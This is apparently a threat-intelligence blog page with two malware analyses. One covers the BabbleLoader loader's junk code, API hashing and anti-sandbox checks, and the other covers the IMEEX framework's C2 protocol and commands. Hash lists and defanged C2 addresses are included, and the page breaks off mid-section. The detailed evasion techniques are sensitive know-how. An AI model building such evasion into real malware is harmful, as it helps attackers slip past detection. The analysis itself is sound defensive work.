4a68bdfa3e31a8c063bbf94469160eb7998a556027d5ad33f37c347a71c2d3a4
7c31c4d0308fb1d67f6af48a76138a9db19f494c1e9a12debdcca7382ad5418c
5f9a5ad43a9f79976cd7014ce072429ef2edbae872b4226372cfb07d8a86b8a5
3ac3ca18142a935608cb0d2c8d6421ebb9abc30bce93f094447b9c3f63fe791b
9d97f3f55bc647911e14a36c83f263e91662cf9d13a2fc3ec7c92dedb8977d37
c070749f95aeeefcd1c3a875c1b8e77b57cad0c8338436af9a3c9e1323fd4e11
7eaed6fa867875119c3ebb40aa24716d91fdbccb2106fa4708ff0637920a920c
fa26722e99763a29af160fae64183a47a57362b666753624b78e954c8cde0525
9aa51d1c82fdbc8f0f27340180bd40faa7e76b8ac6d204b2d3548cfd0897d805
58416315c61ed5cb2c754244ed5c081963dabf3e698b04226a00f978cd913e84
f2f96e5ac1b4bd6cac49c71ca2010dcbe5751757483520cfc7dddf4fb7186044

45.195.148[.]107

46af73560cafff5c8bbc16980d01641af0de3b689bc248dfb52afcf3a8a76a55
7bff2404c2816c4e1576d449820f01e3f46e7c972beb1843e3b8da2e065f8dc3
94ff4679dd5aec7874354c14132701ecdfbbb558c6011e4952d13bf843255529
Ae6d88ea99e530f778ee6088862b50dfb6e8bb45857211e9105428c57c2a7b4a
9aea0fdfead2e956bc0b4574c2b4cb2855dd9df6a5fd61d350f3285d249adfca

First stage of the loader:

c5d5054047a12efc68a67abd8f15069a853dd09800cd39d68df5a27702b45334
a97371df7d51fe0aee1d54b5b233a1713f69224802b1da35337a3041788990e6
4b6bf40dc331c89e416ef012a6dc4f55c83136197be7115246b42e4f7a828baa
30147b6691e5bc1a15c76cebf81b2de77d9099e8200b6ed9742c6e3b36505f34
9bd53057c8905d508374698e2595301f0be1529ec4ebfa71c09ad0c01a562982
4d64c2d1ae0de0f3066a6c020ab7aa5a9dd487c0cf1ff1ca2e93d98ff30e039f
99fb7a40dbf6a042bcb77f67a5a76fe03ec3c6820ac5e15cb009795d545152ea
d9e939f904a1cddf5fb8ffba14acbfe227ed5dfc4990b52a44d4dfd0baa6de4e
0b33f08bc2917c4825c053754fc88e16b35d1a8fff4135595b265a4c6f850250
cd347b9f558cf024df1dbb62ed7a0d72a2edc04b1330058cfa1baf4fc3894e03
8aa28f35dbafc18a37b07fd15bb599e3c8de5b692117f1c6fd491bd03028a423
d51db234d0236cd0dbfcf13adc33387f10920011537815d188eff012872e30be
d0ce85ec31053478c67e4f53ca2ef9b7b1f0fda74621c9c7c8c1612772ca778c
504d7714419931f80b734e212a9431ec98887c56ade8966c4d7cae58b28d49ca
16bb3968e1112b63fef8a4e7bda9d021dfef6fd1955fdfa677545535a14a65b4
659ede632d3bfc28d143c144fdba34d08b21c4f97ce6c9dc1fcd4d2bf5cc25e3
463c9704fb009cd13e0ef50fa7d5035aa5f35b4841fe75ecab5c4a276601f837
3fc35cab1272f769af309cb46375e21680f13d629181c7646cb0cf2c9b2e72e7
517b43bf057877727387316d8538dc07599856eb428d43f512e89964a5dfb331
e54ce9939679c691dc5719e309a8d541183b6672269fd61013109ef0d8509b1e

Babble Babble Babble Babble Babble Babble BabbleLoader

Sun, 17 Nov 2024 00:00:00 +0000

Loaders, an Ever Evolving Market

The pace of innovation and development in the malware detection market is relentless, the same goes for the development of malware itself. Constantly charging and adapting to create ever more evasive and capable payloads.

One such sector of this market is the loader (also called crypter or packer) market. In today’s threat landscape, loaders have become a critical tool in cybercrime operations, serving as the backbone for delivering a range of malicious payloads. Loaders are often the first stage in an attack chain, designed to stealthily execute or inject malware, such as info-stealers or ransomware, into a target system. Their prevalence reflects an evolution in tactics, allowing threat actors to evade traditional antivirus defenses through techniques like in-memory execution and anti-analysis features. Widely available for purchase or lease on underground markets, loaders are now a commodity in malware distribution, making sophisticated attack methods accessible to a broader range of actors and adaptable across diverse campaigns and targets.

In this blog, we will introduce “BabbleLoader”, an extremely evasive loader, packed with defensive mechanisms, that is designed to bypass antivirus and sandbox environments to deliver stealers into memory.

BabbleLoader’s Techniques to Evade Traditional and AI Systems

BabbleLoader stands out for its array of sophisticated evasion techniques that challenge both traditional and AI-based detection systems. Key features include junk code insertion and metamorphic transformations, which alter the loader’s structure and flow, effectively evading signature-based, Artificial Intelligence, and behavioral detections. Through dynamic API resolution, the loader sidesteps common API monitoring by resolving necessary functions only at runtime, preventing static analysis from identifying telltale Windows APIs. Also bypassing sandbox injected DLLs that hook API calls. Shellcode loading and decryption further obfuscate the payload by embedding and decrypting malicious code in memory, bypassing file-based scanning. Additionally, anti-sandboxing and anti-analysis measures detect virtual environments, impeding sandbox analysis and automated AI defenses. Together, these techniques make this loader a versatile tool, capable of subverting both static and dynamic security layers.

When investigating this loader, we have seen it used across multiple campaigns, targeting both English and Russian speaking individuals. Lure themes suggest it is targeting a vast range of users, from users looking to download generic cracked software, such as video editing, gaming, VPN, browsers, and utilities. We have also noticed campaigns that target with a particular focus on business professionals in finance and administration, masquerading as accounting software, and forms for filling out eligibility checks often used by HR or payroll professionals.

Technical Analysis

The sample used in this analysis is: a08db4c7b7bacc2bacd1e9a0ac7fbb91306bf83c279582f5ac3570a90e8b0f87

Junk Code/Metamorphism

BabbleLoader makes diabolical use of junk code. This is done in an effort to hamper analysis by confusing the analyst. This is achieved through multiple means. There are many paths of code that are never actually accessed, but use random imports with randomly generated hardcoded strings.

Junk Code making rubbish calls

The loader also makes excessive use of random instructions, adding values to local variables and moving data around registers for no particular functionality.

Junk Code

The amount of junk code added into the sample greatly increases the amount of code to the point where it starts to crash disassembly or decompilation tools through its sheer mass alone. In the case of IDA needs to collapse nodes due to them being so large.

Collapsed Node in IDA

In Ghidra the function graph view will freeze and there are too many instructions for the decompiler to show.

Decompilation output in Ghidra

We have even checked in Binary Ninja to see the effects of the junk code. The user is required to manually force analysis of the function due to the size.

Binary Ninja showing large function

Each of these techniques also serve the purpose of making the loader metamorphic. Each build of the loader will have unique strings, unique metadata, unique code, unique hashes, unique encryption, and a unique control flow. Each sample is structurally unique with only a few snippets of shared code. Below is a very small snippet of the main method of two different samples, showing very different control flow.

Comparison of structure of two BabbleLoader samples

Even the metadata of the file is randomized for each sample.

Junk Metadata

What This Means for AI-Based Analysis Techniques

These techniques also have large implications for AI based analysis techniques. This constant variation in code structure forces AI models to continuously re-learn what to look for—a process that often leads to missed detections or false positives. By filling the code with junk instructions, the loader can trick AI into interpreting irrelevant actions as meaningful ones, leading it to predict that the malware will perform operations that it never actually executes. Junk code also generates a large volume of “noise” in the program flow, overwhelming the AI’s pattern-recognition capabilities and forcing it to sift through thousands of extraneous actions that mask the true behavior of the malware.

Additionally, the inclusion of countless junk variables adds another layer of complexity. AI models analyzing variable behavior to understand data flow must now track thousands of decoy variables, each potentially obfuscated or dynamically transformed to further confuse the analysis. This variable noise, combined with the ever-shifting structure from metamorphism, makes it extremely difficult for AI to reliably determine which variables are integral to the malware’s function and which are simply junk.

The sheer volume of junk code and variables also makes analyzing this loader exceptionally costly. The sheer number of tokens AI must process to parse and interpret the junk alone leads to high computational and financial costs, effectively weaponizing the malware’s complexity against AI-driven defenses. This combination of overwhelming data volume, misleading patterns, and high processing requirements creates significant challenges in detecting and analyzing the malware accurately.

Dynamic API Resolution

One of the first operations of the loader is to start the process of dynamically resolving API calls. It will achieve this through API hashing. It will first get a module handle for ntdll.dll. The string for the DLL is decrypted using a rolling XOR cipher.

Decoding of NTDLL string

Using the returned handle, the loader will start to read the PE header of ntdll.dll and it will locate the export directory and start parsing out values that it will need to dynamically resolve the functions by hash. The loader builds up the following struct.

struct _NtDllExportInfo {
 DWORD* AddressOfFunctions;
 DWORD* AddressOfNames;
 DWORD* AddressOfNameOrdinals;
 DWORD NumberOfNames;
 HMODULE NtdllModuleHandle;
}

The parsed values can be seen easily from viewing the export directory in CFF explorer.

Parsed fields shown in CFF Explorer

Once the struct has been built up, it can then proceed to iterate through the export names, hashing the names to compare to hardcoded values in the binary.

Resolution of functions by hash

The following calls are resolved, getting pointers for imports. Whilst the exports will remain the same for each build of the malware, the hashing will be unique per each build.

Hash	Call
1ABEC790	NtCreateSection
993C0058	NtMapViewOfSection
92263458	NtUnmapViewOfSection
9DA1D253	NtClose
6AF3F390	NTQuerySystemInformation
0A96AB0E4	RtlAllocateHeap
8A21A480	RtlFreeHeap

Shellcode Loading and Payload Decryption

Once the loader resolves pointers for the imports, it first calls NtCreateSection, followed by NtMapViewOfSection. This approach allows the malware to allocate and manage memory outside the standard process space. The decryption process begins with the loader rearranging the randomly stored encrypted chunks of the payload into their correct order within the mapped memory, before proceeding to decrypt each block.

Decryption stages

Before calling the decrypted code, the loader will perform one of a number of anti sandboxing checks.

AntiSandboxing/Analysis

DirectX DLL

One of the anti-sandboxing checks involves checking the installed graphics adapters to see if it is running in a sandboxed environment or not. This is achieved by importing the DLL dxgi.dll. The DLL is the DirectX Graphics Infrastructure library and is a core Windows DLL that provides functionality for interfacing with graphics hardware.

The exported function CreateDXGIFactory is called giving the loader a IDXGIFactory object. This allows the loader to enumerate information from the installed graphics adapters by calling EnumAdapters, followed by GetDesc from the IDXGIAdapter object to give a DXGI_ADAPTER_DESC struct.

typedef struct DXGI_ADAPTER_DESC
{
 WCHAR Description[ 128 ];
 UINT VendorId;
 UINT DeviceId;
 UINT SubSysId;
 UINT Revision;
 SIZE_T DedicatedVideoMemory;
 SIZE_T DedicatedSystemMemory;
 SIZE_T SharedSystemMemory;
 LUID AdapterLuid;
} DXGI_ADAPTER_DESC;

From these structs is parsed the VendorId, and it is compared against three values that form a vendor whitelist.

ID	Vendor
8086	Intel
10DE	Nvidia
1002	AMD

This anti-sandboxing technique has been observed in previous malwares, namely Furtim in 2016 and Invalid Printer Loader in 2023. BabbleLoader takes additional measures to hide the vendor ID numbers through using a simple XOR key and a few assembly instructions. The instructions are separated by a large amount of junk code so as to hide the values when statically analyzing the sample in a disassembler.

mov [rsp+1FF48h+nvidiaId], 0E8185136h
...
//Junk
...
mmov eax, [rsp+1FF48h+nvidiaId]
xor eax, 0E81841E8h
mov [rsp+1FF48h+nvidiaId], eax
...
//Junk
...
mov eax, [rsp+1FF48h+nvidiaId]
cmp [rsp+1FF48h+vendorId], eax

The decoded value (Nvidia Vendor ID) is shown below:

XOR to derive VendorID

VDLL Function

Another form of anti-sandboxing comes in the form of a VDLL check to combat Windows Defender’s Antivirus Emulator. To start this check, BabbleLoader, in a similar manner to how it deobfuscates strings to dynamically resolve functions, will decode two DLLs with exports.

The first check is to get kernel32.dll and look for the proc address for MpSwitchToNextThread_WithCheck. The second check is ntdll.dll with the export of MpDispatchException.

Call of emulated function

If any of the GetProcAddress calls are successful, it will set a variable for the loader to exit later. A successful import of any of these calls will indicate that the loader is being emulated by Windows Defender. This is because these exports only exist in VDLLs, which are modified Windows system DLLs available only in the emulator for Defender. This technique has been used by Raspberry Robin previously, and suggests that the loader developer is able to incorporate new technical research around antivirus and sandboxing internals.

Unique process count

When the shellcode payload that is stored in the mapped memory of the newly created section is executed, it performs another anti sandboxing check, this time based on the running processes in the machine.

This is achieved first by calling NtQuerySystemInformation, previously dynamically resolved from ntdll.dll. Getting the SystemProcessInformation class. This returns an array of SYSTEM_PROCESS_INFORMATION structures, one for each process running in the system.

The process name for each process in the array is gathered and hashed as a checksum, and compared with the hash of the name of the process next in the array. A counter is incremented with each iteration, but if the checksums match, the counter is reduced by one. Giving the number of processes with unique names running.

Checksum counter

The counter is compared to check if there are at least 85 unique processes running on the machine. With the assumption that a true infected computer would have more running processes rather than a sandbox or emulator that is trying to be as lightweight as possible to reduce noise and costs. This technique has been employed by other malware also, such as Latrodectus.

When the check has passed, the next stage of the payload will be decoded and executed.

Second stage of decryption

Donut Loader and Payload

The next stage in this chain is a Donut loader. This is used to unpack and execute the final payload in memory. Donut loaders have been used by many different malware and threat groups in their operations. The payload in this sample is a WhiteSnake stealer.

WhiteSnake Payload

This payload has a very interesting method of communication with its Command and Control (C2) server over TOR. The C2 communication is described in further detail in a blog from JFrog in 2023, but instead of downloading from the official TOR Project website. The payload is downloaded from this github repository.

Open source project downloaded by WhiteSnake

In other samples, Meduza stealer has also been observed. There may be other stealer payloads delivered that have not been observed yet.

Considerations for Defense

The use of loaders is a long-standing technique incorporated by threat actors. In order for modern day threat actors to have any success against the many layers of detection employed by security vendors, they too must incorporate multiple layers of defense within their own builds. It is a never ending arms race between attacker and defender. Each side imposing increasing costs on the other in a frantic effort to come out on top, no matter how short that time period may be.

The better that the loaders can protect the ultimate payloads, the less resources threat actors will need to expend in order to rotate burned infrastructure. BabbleLoader takes measures to protect against as many forms of detection that it can, in order to compete in a crowded loader/crypter market. The types of protection utilized protect the loader against hash, rule, genetic, static, dynamic, and AI forms of detection, imposing costs upon security vendors in the hope that the cost of detection will be so high that it will cause security vendors to overlook analyzing these files.

The developer behind this loader demonstrates an active engagement with current security research, rapidly integrating new techniques to enhance evasion capabilities. For instance, recent anti-sandboxing features reflect insights from research on Windows Defender presented by white-hat experts at Black Hat, allowing the loader to better evade detection by Microsoft’s defenses. This adaptability shows a strategic commitment to keeping the loader ahead of evolving security tools by adopting the latest innovations in bypass techniques, making it more resilient and harder to detect with each new build.

Many security vendors will look at using AI to help in future cases with combating these loaders. The loaders of the future are already well equipped in this fight. The loader’s layered obfuscation tactics pose a formidable challenge for AI-based defenses. These techniques flood the AI with irrelevant tokens and misleading patterns, making it difficult to distinguish meaningful actions from noise. Each layer of complexity forces the AI to process massive amounts of data, drastically increasing computational and financial costs. By weaponizing this volume and variability, the loader effectively undermines AI’s pattern recognition and analysis capabilities, pushing the limits of automated detection systems.

There is no signs of slowing down in the pace in the thriving loader market.

IOCs

BabbleLoader

052c776fdc9700dfb37f964a73d461a57efad30a01bcf54505d7abcd601e6ff3
0ad8513b62a778d7e426627be3ed2dbaf00d99b9802a1f566dc9203e3d311fc3
0f6847d33cb38b0ed6dc1d8cfe3dc5d2e293d91c4880e3b4f5ddb77fd9d4cd1f
114b868f319162c5d6ff92796e41910f54de0e89f895a066fd4980c6dba2e323
1367fb270f35512b17fe5e73cc0233ace272daafe15cf94e45f696431f52332f
1537965c7722a9886d542688fcbafecd1248b2fbd56e9a90a803a50e880e1bb8
16200bbe4646fe8cefeee5be20ce55c50300485f3356ab181fb930bd02536709
1da4de2b4b87bff7f9f1a3208c5c663a06f7f9b67f918e5a5e8e860e759b7075
200289d5a408a2e49a894228edb3324548ca5c5c0283d09486aa287df41f15bc
217d7501287ae894f47bd04253bd184d1901dd131b0cd15bcbbeba5158049d5d
22866e6ded40916de8002606f82e44ee141f27c3340fa2c4d16514624ee05a72
237812322bbbcf47feeb79b8e91b97d00453ffd5deb52c819c183b45d18b0b5a
25923b822e9a1374817caf79375170b944f2762b1e3f2add921008ffec702740
2a8a340fc9c395fe23211ac95d124b64452d49c67b069f53aaf3dbe16e95791d
2b6bff7b8c23f1fa526e116c7577c32845d5b969c68a66850c305a351adc9726
2d6b50003436ed489d1b46566eb879e317e1b9a5b6edb12f3cbb4c8a8d932a08
2eab850166944175e5fac4c89706328a58dcef55dbc22ff20342d1d246ba76b9
2ee32c46207119f6851f2869203124c104c72cfdf9622416252ae3405f485cd2
328d92b71034d74c016b1f8e70217be3f432a2ade8fe44522f84980fd0dbb1f9
33e42e7828cda7987d17342e0eb8134f590cd3d291dbc75f13334259a4908ba1
3bf5f07059a24fb803c6fefb874f000e9c300372b1b870e48b4935bd0219fe2b
401209ec9dda222984fd5cb775a6b6c2e651d88c04a506c9058cb1decdce869d
451e1bec8476a89c7d2b526071fa2918187f2f5b3ba9362e6999114993a74da5
455cd0db2de92ee348295780f8fc7a32a5406a5986a4d162761680f11b6346b1
466a8af8d0b51ed82aec35b17b845e6baf77ada259aa2fd5591024a01d8e31b5
46b355d25b95d7f9d7029f1ee1a346028e3c5bdec9e6c9245c12d1607cb1c686
46f0e190cd346d1eb6d0c27386bb3aceebf4ad44b25d253cac4063e2ccde9028
478eb22a1f1be2ef6e70625cf42ca61c716389135acbb705c0e21f0cf330bf46
47a71eb078b14a92eb5fb990f606aa48e535860af90ebc5e075c8b2e4d829633
4b7fa864007357e3e799eeb4a9630425652178551a9c37181fc6ea86660af814
4ba95478ea0ac78e038d30693fabf95244bd70e40b36b2a928f3854551d6fa78
4bed4960a896ebeafa9a9421d7ecf389205a2f0216ad911bdcd80f28237159e6
4e40aaddf718b70f397d449f8ca9a577ef0106f281ccb50f0b5cde531b758881
5305556bee271232973a9e09c4776a3b386964112785db638b225b2cc61d9af7
53e451750c099f33f80a3652d9f2a804390de0f867af13ae22ad0fbf4b15f8c3
5493fa6f2ab69da66352532b2c13e7e461bcde6cc2810a6f6af88e139dde1ae7
5665c96975c959b5e8057b7aed46f7c203335aefa35f5e290c538e9300e3e293
5b9481d9022b0efcaed04513d338048de4aa3e1328bacc0966486ef322c0d086
5eb3bb67656d990ceec07f55c78dcd8032a7cf00ac919a399e3642b177f68381
60ecef2d0a966db913bff15872c072175b895e16271351c43e5a0cf9e4018f22
643dde3f461907a94f145b3cd8fe37dbad63aec85a4e5ed759fe843b9214a8d2
69ad389722dd8b49590b2aa014f703b39737894073c7339ea44c94d296e00273
78f6c822cee2b0587df145d67478cce5bbeb76147a7846d08b7b6fd09aa36ce2
796c245c5bb1e7c1dcd52c4e8f83e1c707e391f6409ee9b5e1dd18658ff0e05f
7df313618a02e8e9961ddb1c3289956eb18361f1ca9fb639d64a00fae7568a4b
7e5ba9e3ccc1cb52d24c21c6d378a32bb540a8519789d8cf796e5dd351fc6958
8907a8454ef56d64bf788b9c8c64bbaaf187be7a9666d8d8331fd187c49c6031
8a28e457b19060678d5d007b291722e1dea92f69249e1588ca5b97eb1fe10807
8cc2e1104480875ee237bf4ca9f3d83e46ca213f5c88df95be0d78e05c7c2d71
8cf8bea6842219e565720919372e4aa530942b28d533231043ee57e7bb424cbe
8d8c3b6be212ce645566311ce95ad9ad3aad37795042882adefda9716deb2eab
8e63b1f7f8e29b9a714f796e2e8ca0cd1094086e2d0a5de21601e23e1792a906
9125c13250a14905a4fd97978a3a6dbba80df01e73d98f8d4fa2d19b49d9fda0
9314ea889f93da5cd39129840a42bd5f228538686a2345f56e757e5a5d956dee
9bf7a01254fed809e0f564f28a3cf54156ea98f85d3b633ae3a213a87f9db143
9dfb8ed499b667d782ae3a4ce40472893a789ed973f48884b47358536b6a76e8
9fa7574f35fae3d309c8cefe0e8a43d07afb6cefaee0caa3b2538263bd4a7ec5
a01ac4244102e3958296c70d71e3d951f11abcc355458d1918d081587b151d90
a08db4c7b7bacc2bacd1e9a0ac7fbb91306bf83c279582f5ac3570a90e8b0f87
a29e108e912c77ed565873bd205da01ed0e6001d18b442139c06827428d2eba1
a3b45619606d4c3c487047786e3d51a98fdcc1fdc43dc7b6f6e80974fd0a9c97
a695cb493631962a4c2fd61a094cb0b952ce708a99af714772cddd4991f32df0
ae6ee6bf2f9890ed83922e5c80770dd88faa9b32b2211462ea2eed29bf1bf6c5
b14af38c4230de20c7c4fefc1e3c5fffb1562bacedfebc56a508f55182a6fe88
b1ebe1794e091fd82a34d6806f18f64ebadb5d3b2343a661c481fb7c54cb872f
b2a91277e5fb40a0a38215142f683554b4e7c03ccd439e0d056c56b031a5bec5
b72d9ae8484b91ec9c6167e6707617f495622f3b684f6b3e30b29106891c778b
bb4f812f8bb4e7b33d7b583407370a5351d079f63b26956adc7ab317b3d90601
bdd6bd29937059dd944fb09163a24e4482c5ce420d3de749e5e46c6c25b2ea86
c2a95f22cfee1f4df67a424e30425b59c23db265bff611f2ee653d71b30a70d8
ca67f61b5f8d20ec3f45dbbfc355045a8ceee15396f1cad032850a3ee23a42b3
cd3f064d088a3a6a6ad03da148701fb6b660866b8aac2a808359505620166641
d7967661947ca835deddec30ae6e62d580718cbdeafb42cd6d0f038a407edcf0
d9cea34db0d1dc016dd4007d8cd11416f095c41b0639f13af1eb6ad675651df2
db282cae419ed5af3338f65f170ecd7b312cac2500b5cb2c8824721ba981c361
db41e032193becc097d0da85cac74cf1f519b85cf731f783ccea11c1e20ad23f
e09c36993e1c29b6ef0f1c73e02aee54686c0df49b6d87b577e70f261313acaf
e13f20752f6298728ac0463a3f4b0657d5657ca7710e63a27ac1179078ac71f6
e1448680114cb3dd06aa81a3b1037f77e6d5b3f6dce213aa38cffdec72d59e74
f2f23a963952c1a822484382bf4c68cd8b7278400ad2d8bacf3235ba2fc42a89
fa292bfcf81223bab0f79d4ce08187e37d68960005629df0241ea22f0b95d7a8
fc589aa3529a057fee52a1c9bd9bb19fa42bbfd291b7dbb3791e77eced376640
ffcae0093d509563b47b1d0cef3aa455a4358de3a1d2c2b84c298a927aa238e8

WhiteSnake Stealer

6dce9024ec032390ca4294f62cb282a09291cf141cb003f7e0ef23bb7a34bfae

Technical Analysis of a Novel IMEEX Framework

Thu, 10 Oct 2024 00:00:00 +0000

The IMEEX framework is a newly discovered, custom-built malware designed to target Windows systems. Delivered as a 64-bit DLL, it offers attackers extensive control over compromised machines. This framework is notable for its robust capabilities, featuring a wide array of functionalities, including execution of additional modules, file manipulation, process management, registry modification, and remote command execution. It also performs system reconnaissance by gathering critical system information, such as hostname, operating system version, volume serial number, and system language, and relays this data to its command-and-control (C2) server.

Our analysis indicates that the IMEEX framework has primarily targeted Djibouti, with a less capable variant appearing targeting Afghanistan. At this time, we are unaware of the wider distribution of the campaign but assume it’s not limited to these two countries. While the infection vector remains unclear, the behavior of the malware suggests it is part of a carefully orchestrated attack campaign aimed at maintaining persistence and avoiding detection through advanced techniques such as masquerading as legitimate processes, mutex creation, and encrypted communications with the C2 server.

Interestingly, there are signs of infrastructure reuse with ShadowPad, a modular malware platform privately sold and employed by multiple Chinese threat actor groups. This overlap might indicate a strategic rotation from ShadowPad to the IMEEX framework, although it does not conclusively link the campaign to any specific group. Instead, it suggests a possible evolution in tactics, where the attackers leverage IMEEX as an alternative toolset.

This blog aims to provide a detailed technical analysis of the IMEEX framework’s capabilities. We will explore its core functionalities, ranging from system reconnaissance and data collection to dynamic module loading and execution of additional modules.

Key Findings about IMEEX

Geographic Distribution: The IMEEX framework samples were submitted to VirusTotal from Djibouti and Afghanistan, indicating potential targeting or deployment in those regions. This geographic pattern suggests a focused campaign, with some variations between samples in terms of functionality.
Masquerading as Legitimate Processes: IMEEX framework expects to be loaded by svchost.exe or rundll32.exe, ensuring it blends with legitimate Windows processes to avoid detection.
Configuration Decryption: IMEEX framework extracts its configuration from the last 108 bytes of its executable. The decrypted data includes C2 domains and a port number, usually 443.
Command and Control (C2) Communication: The malware communicates with its C2 server via custom structured packets, including checksums and identifiers for data integrity. It uses port 443, blending in with legitimate HTTPS traffic, over TLS.
Advanced File, Process, and Registry Operations: IMEEX framework supports a wide range of operations, including file manipulation, process control, remote code execution, and extensive Windows Registry modifications.
Modular Execution: The framework employs a modular approach, loading and executing components on-demand. The malware uses the Windows Registry to keep track of its modules, ensuring each is executed only once and monitoring their state throughout execution.
Persistence and Evasion: By modifying registry keys and leveraging scheduled deletions for locked files, the malware maintains persistence while evading detection.

Technical Overview

The malware checks the context in which its DLL is loaded by verifying if it is running under legitimate system processes like svchost.exe or rundll32.exe. Based on the process name, it either proceeds to establish network connections, or terminates to avoid detection. This behavior suggests an attempt to and blend in with trusted Windows processes, enhancing stealth and persistence.

The malware creates a mutex named either Global4B59AFCC or Global3796878E. This mutex ensures that only one instance of the malware runs on the infected system at any given time, preventing conflicts and redundant resource usage.

Sample Analysis

We analyzed four samples, and most of their functions remained consistent across versions. The samples analyzed include:

3e25798da0232d9039e570fb34d4bdccf7f082fa38b486a097d954f5f3debab3
7a3113d3212605a33924ad16ab360b7d48cc94de0de1c1cf9dc44695d4a01648
7d02ad54e4e56f34e59414f9b02397901fc61bb1158a31ab2586fe62564aeb93
94b8a01ad4b53d202984afb6781d7f88cb5cd329349791516e985ea88e08ad66

Four files were submitted to VirusTotal from Djibouti. During the investigation, we found a similar framework variant from Afghanistan with fewer capabilities, which we will also cover.

The files from Djibouti are nearly identical, with only minor differences in mutex names and C2 domains. The consistent codebase and minimal changes suggest they are variants deployed within the same campaign. The primary differences lie in the names of the mutexes and the process names the framework uses for masquerading.

Configuration Extraction and Decryption

The framework extracts its configuration data from the last 108 bytes of its own executable file. This data is encrypted using a custom XOR-based algorithm. The decryption process involves:

Read the encrypted data from the executable’s end.
Perform a reverse iteration through the data, XOR-ing each value with the value that precedes it
Validate the decrypted data with the magic value 0xFEFCFDFB.
The first 2 bytes following the magic are the value of the port – 443.
The rest of the bytes are XOR-ed with the value 0xE6 giving the decrypted domains,separated by a semicolon.

Appendix B includes Python configuration extractors for all variants observed.

We extracted the following C2 domains and addresses from the samples we analyzed:

yurtumawat.wwwhost[.]us
erkinhorshiden.onedumb[.]com
45.141.139[.]146

Network Initialization and Operation

IMEEX initializes network communication by establishing a socket connection to decrypted C2 server addresses. It attempts to connect over TCP port 443, likely evading network monitoring by blending with legitimate encrypted web traffic. Notably, the framework uses dynamic DNS providers for its command-and-control servers.

The framework employs checksums and specific identifiers in its communication protocol to ensure data integrity and accurate command execution. The use of structured headers and data packets allows for a modular approach to command handling and response generation.

Key Features:

Checksums: Calculated to verify that data has not been tampered with during transmission. Each packet includes a checksum calculated over the header.
IDs and Sub-IDs: Numeric identifiers specify the exact command or response type, ensuring proper interpretation of exchanged information between the malware and the C2 server. The response packets also use a unique ID to identify the operation that is sending the response.
Error Handling: The malware sends error responses when operations fail, allowing the C2 server to handle exceptions or retry commands.

C2 Packet Data Structure

Communication between the malware and the C2 server uses specific packet formats for both requests and responses. Each packet contains a header and a data section, adhering to predefined structures to facilitate various operations.

Structure of packets received from the C2:

Packet	Offset	(Bytes)	Size (Bytes)	Field Description
Header	0-3	4	Unspecified Operation-specific data.
	4-7	4	Class ID	Specifies the main operation to perform.
	8-11	4	Command ID	Additional identifier for sub-commands.
	12-15	4	Checksum	Validates the integrity of the header data.
Data	16+	Parameters	Contains parameters or data required for executing the command.

Structure of packets that are sent to the C2:

Packet	Offset (Bytes)	Size (Bytes)	Field Description
Header	0-3	4	Packet size
	4-7	4	ID
	8-11	4	Checksum
Data	12+	Command parameters	Contains the actual data or payload.

The ID field encodes a combination of the Class ID, Command ID, and an optional flag in big-endian format, serving as a unique identifier to correlate specific responses from the framework with the operations that generated them.

Reconnaissance

Before initiating its main thread, which manages communication with the C2 server and executes various operations, the framework performs initial reconnaissance on the infected endpoint. It collects system information and sends this data to the C2 server. The information gathered includes:

System ANSI Code Page Identifier: Obtained using the GetACP function.
File System and Volume Information: Retrieves details about the file system and volume of the current working directory.
Hostname: The network name assigned to the host machine.
Operating System Version: The version number and build information of the host’s operating system.
IP Address: The current IP address assigned to the host.

This collected information is sent to the C2 server with an identifier value of 0x88.

Supported Commands by the Framework

The IMEEX framework supports a wide array of commands, enabling comprehensive control over infected systems. These commands are categorized into several classes, such as file management, process manipulation, remote command execution, and registry operations. The RAT’s functionality includes reading, writing, deleting files and directories, enumerating and terminating processes, and remotely executing programs and commands on the compromised machine. It uses a structured communication protocol with custom packet headers to manage command exchanges with its C2 server.

In addition to basic system control, the framework supports Windows Registry operations, allowing it to write, update, and delete registry values—critical for maintaining persistence and managing module execution. These capabilities make it highly versatile for remote administration and execution of malicious tasks.

Command Class	Class ID	Command ID	Command	Extra Parameters
File Operation	3	1	Get Drive Info	–
		2	File/Directory Discovery	File path
		3	Write File	File path
		4	Read File	File path
		5	No Operation/Reserved
		6	Delete folder and content	File path
Process Operation	5	1	Get Processes Info	–
		2	Terminate Process	PID
Remote Process Execution	11	–	Create a Process and run a command	Command to execute
Command Execution Using Windows Pipe	16	1	Set a pipe connected to cmd	–
		2	Terminate Pipe	–
		3	Write to pipe	Content
Modules Operation	20	1	Write File	Registry key and then content
		2	Delete file from Registry entry path	Registry sub-key
		3	Create Registry Values	key/val
		4	?	?
		5	Get Data from the Registry	?
		–	Checksum	?
Driver Operation	–	1	Check if new drivers were added	–

File Operations

Get Driver Information

The framework iterates over all available drivers (A-Z) and determines their type using the GetDriveTypeW API (e.g., fixed, removable, CD-ROM). For CD-ROM drivers, it retrieves the display name. For fixed drivers, it calls GetVolumeInformationW, which returns:

Volume Name: The label of the specified volume.
Volume Serial Number: A unique number assigned by the OS during disk formatting.
Maximum Component Length: Maximum file name component length.
File System Flags: Features supported by the file system.
File System Name: The name of the file system (e.g., NTFS, FAT32).

All this information is sent to the C2 server in a header with the ID 0x31. As mentioned above, the ID that is sent back consists of the class ID (3) and the command ID (1).

Directory Discovery

The framework receives a path from the C2 and performs a directory scan to enumerate the files and folders within it. It then gathers detailed information for each file, including size, last modified timestamp, attributes, and filename. This collected data is subsequently transmitted back to the C2 in separate packets, with each packet bearing an ID of 0x324. The presence of a 4 in this ID signifies that the operation has not yet completed sending the data. In its final stage, when the last packet with ID 0x32 is sent, it indicates the successful completion of the data transmission.

Write File

The framework receives a file path where the file will be created, and after the file is created, it sends an acknowledgment (ACK) packet to the C2. The packet ID in this case is 0x33, and it returns the allocated file size.

Next, the framework waits to receive the file content from the C2. Each packet’s content is verified using a checksum, with the expected checksum value stored in the 8th byte of the packet. For each chunk written, the framework sends an ACK, indicating the status of the WriteFile API call.

Read File

The framework receives a path to a file to be read. It will open the file, read its contents, and send it back to the C2 in chunks of 0x8000 bytes. The packet IDs associated with this operation are 0x34.

Delete File/Folder

The framework receives a path to a folder, which it will recursively delete. It first sets the folder’s file attributes to FILE_ATTRIBUTE_NORMAL, then iterates over all files in the provided path, deleting each one. The operation sends back an ACK with the success code and the ID 0x36.

Process Operations

Get Processes Info

This command enumerates all processes and collects information such as the process ID (PID), parent process ID, executable name, and whether it is a system process. The information is sent to the C2 in a packet with the ID 0x514. Once all the information is sent, a final ACK packet is sent with the ID 0x55.

Terminate Process

